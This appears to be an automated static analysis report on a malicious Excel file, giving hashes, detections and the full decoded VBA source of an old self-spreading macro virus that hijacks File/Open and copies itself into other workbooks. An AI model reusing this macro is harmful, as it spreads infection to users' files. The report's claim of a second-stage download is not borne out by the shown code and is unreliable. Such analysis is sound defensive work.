Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db08468a5d2b6f28…

MALICIOUS

Office (OLE)

21.5 KB Created: 1999-07-07 18:03:53 Authoring application: Microsoft Excel First seen: 2015-09-16
MD5: 53069510dacd146c93ca768137bc8a00 SHA-1: 3cabf07772d85f29656e6dffe21e3dad0e6c8255 SHA-256: db08468a5d2b6f2823715e0a833cd9903308d8b647c0afcec5a23cc7d597105b
96 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing a VBA macro with an Auto_Open subroutine, a common technique for executing malicious code upon opening. The macro attempts to save a copy of itself to 'C:\WINDOWS\ShellNew\Swap.xls' and likely proceeds to download and execute a second-stage payload. The presence of the Auto_Open macro and the suspicious file path strongly indicate a malicious intent, likely delivered via spearphishing.

Heuristics 4

  • ClamAV: Xls.Trojan.Swap-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Swap-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ι = Environ("WINDIR") & "\ShellNew\Swap.xls"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2479 bytes
SHA-256: 13c30f670a1c06139e3ba16956c0167f99001cd6d8295aba74cb693b5adc3a63
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Swap"
'Copyright (C) 1998 by FlyShadow ~^^~ - Swap
Private Sub Auto_Open()
On Error Resume Next
Application.EnableEvents = 0
Application.DisplayAlerts = 0
Application.ScreenUpdating = 0
Application.EnableCancelKey = 0
Application.OnKey "{ESCAPE}", ""
Application.OnKey "^{BREAK}", ""
Application.OnSheetDeactivate = ""
Application.OnSheetActivate = ""
Application.OnSheetActivate = ""
Application.OnAction = ""
Application.OnWindow = ""
Application.OnEntry = ""
Application.OnSave = ""
ι = Environ("WINDIR") & "\ShellNew\Swap.xls"
ThisWorkbook.SaveCopyAs ι
CommandBars("File").Reset
CommandBars("Standard").Reset
CommandBars("File").Controls(2).OnAction = ι & "!ν"
CommandBars("Standard").Controls(2).OnAction = ι & "!ν"
CommandBars("Standard").Protection = 1
CommandBars("File").Protection = 1
End Sub
Private Sub ν()
On Error Resume Next: Windows("Swap.xls").Visible = 0
ThisWorkbook.VBProject.VBComponents("Swap").Export "C:\Swap.Sys"
α = Application.GetOpenFilename
Workbooks.Open α
υ = ActiveWorkbook.Saved
If Not Len(ActiveWorkbook.VBProject.VBComponents("Swap").Name) Then
ActiveWorkbook.VBProject.VBComponents.Import "C:\Swap.Sys"
End If
ActiveWorkbook.Saved = υ
ThisWorkbook.Saved = 1
End Sub